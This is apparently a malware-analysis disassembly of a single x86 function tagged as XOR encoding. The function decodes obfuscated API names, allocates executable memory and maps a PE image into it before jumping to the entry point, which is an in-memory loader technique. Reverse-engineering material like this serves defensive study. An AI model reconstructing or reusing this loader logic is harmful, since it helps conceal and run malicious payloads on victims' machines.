Function at 0x406250
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x41a080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], 0
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [ebx]
push esi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], esi
call dword [eax]
mov edi, eax
mov dword [ebp - 0x3c], edi
test edi, edi
je 0x40647a
mov ecx, dword [ebx]
push 5
push esi
mov edx, dword [ecx + 4]
mov ecx, ebx
call edx
mov dword [ebp - 0x44], eax
mov cl, 0x50
mov eax, dword [edi + 0x34]
mov ch, 0x52
mov dword [ebp - 0x50], eax
mov bl, 0x5a
mov byte [ebp - 0x1c], 0x3e
mov al, ch
xor cl, byte [ebp - 0x1c]
mov ah, 0x10
mov byte [ebp - 0x1b], cl
mov dh, bl
mov cl, byte [ebp - 0x1c]
mov bh, ch
xor al, cl
mov byte [ebp - 0xd], ch
mov byte [ebp - 0x17], al
xor ah, cl
mov al, byte [ebp - 0xd]
mov dl, 0x4a
xor al, cl
mov byte [ebp - 0x16], ah
mov byte [ebp - 0x13], al
xor dl, cl
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x12], 0
xor bl, cl
mov byte [ebp - 0x1a], dl
xor ch, cl
mov byte [ebp - 0x19], bl
xor dh, cl
mov byte [ebp - 0x18], ch
xor bh, cl
mov byte [ebp - 0x15], dh
push eax
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
movaps xmm0, xmmword [0x414570]
mov edx, eax
mov dword [ebp - 0x40], edx
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x5d5b4651
mov word [ebp - 0x24], 0x5c
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x14
jb 0x406318
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x37]
push eax
push edx
mov byte [ebp - 0x23], 0
call ebx
push dword [edi + 0x34]
push 0xffffffffffffffff
call eax
movaps xmm0, xmmword [0x414580]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x745c7d70
mov dword [ebp - 0x24], 0x68637e7c
mov byte [ebp - 0x20], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x17
jb 0x406360
lea eax, [ebp - 0x37]
mov byte [ebp - 0x20], 0
push eax
push dword [ebp - 0x40]
call ebx
mov ecx, dword [edi + 0x50]
mov ebx, eax
push 0x40
push 0x3000
lea eax, [ebp - 8]
mov dword [ebp - 8], ecx
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4063d1
cmp dword [ebp - 0x44], eax
je 0x40647a
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40647a
mov edx, dword [edi + 0x54]
mov dword [edi + 0x34], eax
mov ecx, dword [ebp - 0xc]
test edx, edx
je 0x4063f2
nop
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx], al
lea ecx, [ecx + 1]
sub edx, 1
jne 0x4063e0
mov ecx, dword [ebp - 0xc]
xor eax, eax
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0x406437
add edi, 0x104
mov edx, dword [edi]
mov eax, dword [edi + 8]
add edx, ecx
add eax, dword [ebp - 0x48]
mov esi, dword [edi + 4]
test esi, esi
je 0x406425
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx], cl
lea edx, [edx + 1]
sub esi, 1
jne 0x406413
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x3c]
inc ebx
add edi, 0x28
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0x406402
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x4c]
push ecx
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x50]
cmp edx, ecx
je 0x406460
push dword [edi + 0x50]
mov eax, dword [esi]
push edx
push 0
push ecx
push 0
push edx
mov ecx, esi
call dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edi + 0x28]
add eax, edx
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409f2d
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409f2d
mov esp, ebp
pop ebp
ret 4